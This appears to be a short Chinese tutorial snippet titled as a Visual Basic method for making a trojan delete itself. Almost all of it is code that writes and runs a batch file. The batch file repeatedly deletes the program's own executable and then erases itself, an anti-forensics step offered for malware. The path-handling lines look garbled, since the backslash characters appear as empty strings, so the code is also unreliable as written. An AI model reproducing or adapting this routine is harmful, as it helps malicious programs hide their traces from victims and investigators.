VB实现木马自删除

VB实现木马自删除

代码：

Dim s As String

On Error Resume Next

s = CurDir '当前目录

'保证目录最后的字符为 ""

If Right(s, 1) <> "" Then

s = s & ""

End If

Open s & "kill.bat" For Output As #1

Print #1, ":redel"

Print #1, "del " & Chr(34) & s & App.EXEName & ".exe" & Chr(34)

Print #1, "if exist " & Chr(34) & s & App.EXEName & ".exe" & Chr(34) & " goto redel"

Print #1, "del %0"

Print #1,

Close #1

Shell Chr(34) & s & "kill.bat" & Chr(34)

End